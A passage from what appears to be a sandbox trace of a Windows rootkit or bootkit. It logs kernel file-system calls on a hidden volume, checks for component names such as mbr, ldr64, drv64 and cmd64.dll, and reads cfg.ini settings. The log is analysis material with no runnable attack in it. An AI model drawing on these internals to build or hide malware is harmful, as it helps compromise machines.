0xffffffffffffffff [0128.987] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.987] KeEnterCriticalRegion () [0128.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.987] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.987] IdePortDispatch () returned 0x103 [0128.987] KeWaitForMutexObject () returned 0x0 [0128.987] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.987] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.987] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.988] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.988] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.988] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.988] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.988] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.988] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.988] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.988] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.988] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.988] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.988] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.988] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.988] KeLeaveCriticalRegion () [0128.988] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.988] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.988] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.988] KeEnterCriticalRegion () [0128.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.988] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.988] IdePortDispatch () returned 0x103 [0128.988] KeWaitForMutexObject () returned 0x0 [0128.988] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.988] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.988] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.988] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.989] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.989] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.989] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.989] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.989] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.989] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.989] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.989] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.989] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.989] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.989] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.989] KeLeaveCriticalRegion () [0128.989] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.989] ReleaseMutex (hMutex=0x100) returned 1 [0128.989] Sleep (dwMilliseconds=0x2bf20) [0128.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x701561b0, dwHighDateTime=0x1d24fa4)) [0128.996] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.996] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.996] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.996] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.996] KeEnterCriticalRegion () [0128.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.996] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.996] IdePortDispatch () returned 0x103 [0128.996] KeWaitForMutexObject () returned 0x0 [0128.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.996] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.996] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.996] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.996] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.997] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7f00 [0128.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.997] KeLeaveCriticalRegion () [0128.997] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.997] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.997] KeEnterCriticalRegion () [0128.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.997] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.997] KeLeaveCriticalRegion () [0128.997] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.997] KeEnterCriticalRegion () [0128.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.997] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.997] IdePortDispatch () returned 0x103 [0128.997] KeWaitForMutexObject () returned 0x0 [0128.997] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.997] KeLeaveCriticalRegion () [0128.997] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.997] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.997] KeEnterCriticalRegion () [0128.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.997] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7d000 [0128.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.997] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.997] IdePortDispatch () returned 0x103 [0128.998] KeWaitForMutexObject () returned 0x0 [0128.998] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.998] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.998] IdePortDispatch () returned 0x103 [0128.998] KeWaitForMutexObject () returned 0x0 [0128.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.998] KeLeaveCriticalRegion () [0128.998] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.998] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.999] KeEnterCriticalRegion () [0128.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.999] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.999] KeLeaveCriticalRegion () [0128.999] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.999] KeEnterCriticalRegion () [0128.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.999] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.999] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.999] KeLeaveCriticalRegion () [0128.999] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.999] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.999] KeEnterCriticalRegion () [0128.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.999] ExFreePoolWithTag (P=0xfffffa800c4f7f00, Tag=0x0) [0128.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.999] KeLeaveCriticalRegion () [0128.999] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.999] ReleaseMutex (hMutex=0xf0) returned 1 [0128.999] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.999] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.999] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.999] KeEnterCriticalRegion () [0128.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.999] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.999] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.999] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.999] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.999] IdePortDispatch () returned 0x103 [0128.999] KeWaitForMutexObject () returned 0x0 [0129.000] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.000] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.000] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.000] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.000] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.000] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01470 [0129.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.000] KeLeaveCriticalRegion () [0129.000] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.000] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.000] KeEnterCriticalRegion () [0129.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.000] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.000] KeLeaveCriticalRegion () [0129.000] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.000] KeEnterCriticalRegion () [0129.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.000] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.000] IdePortDispatch () returned 0x103 [0129.000] KeWaitForMutexObject () returned 0x0 [0129.000] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.000] KeLeaveCriticalRegion () [0129.000] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.000] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.000] KeEnterCriticalRegion () [0129.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.000] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7e000 [0129.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.001] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.001] IdePortDispatch () returned 0x103 [0129.001] KeWaitForMutexObject () returned 0x0 [0129.001] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.001] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.001] IdePortDispatch () returned 0x103 [0129.001] KeWaitForMutexObject () returned 0x0 [0129.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.001] KeLeaveCriticalRegion () [0129.001] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.002] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.002] KeEnterCriticalRegion () [0129.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.002] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.002] KeLeaveCriticalRegion () [0129.002] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.002] KeEnterCriticalRegion () [0129.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.002] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.002] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.002] KeLeaveCriticalRegion () [0129.002] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.002] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.002] KeEnterCriticalRegion () [0129.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.002] ExFreePoolWithTag (P=0xfffffa8003c01470, Tag=0x0) [0129.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.002] KeLeaveCriticalRegion () [0129.002] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.002] ReleaseMutex (hMutex=0xf0) returned 1 [0129.002] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.002] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.002] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.002] KeEnterCriticalRegion () [0129.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.002] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.002] IdePortDispatch () returned 0x103 [0129.002] KeWaitForMutexObject () returned 0x0 [0129.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.003] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.003] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.003] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.003] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.003] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da800 [0129.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.003] KeLeaveCriticalRegion () [0129.003] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.003] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.003] KeEnterCriticalRegion () [0129.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.003] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.003] KeLeaveCriticalRegion () [0129.003] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.003] KeEnterCriticalRegion () [0129.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.003] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.003] IdePortDispatch () returned 0x103 [0129.004] KeWaitForMutexObject () returned 0x0 [0129.004] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.004] KeLeaveCriticalRegion () [0129.004] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.004] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.004] KeEnterCriticalRegion () [0129.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.004] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7f000 [0129.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.004] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.004] IdePortDispatch () returned 0x103 [0129.004] KeWaitForMutexObject () returned 0x0 [0129.004] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 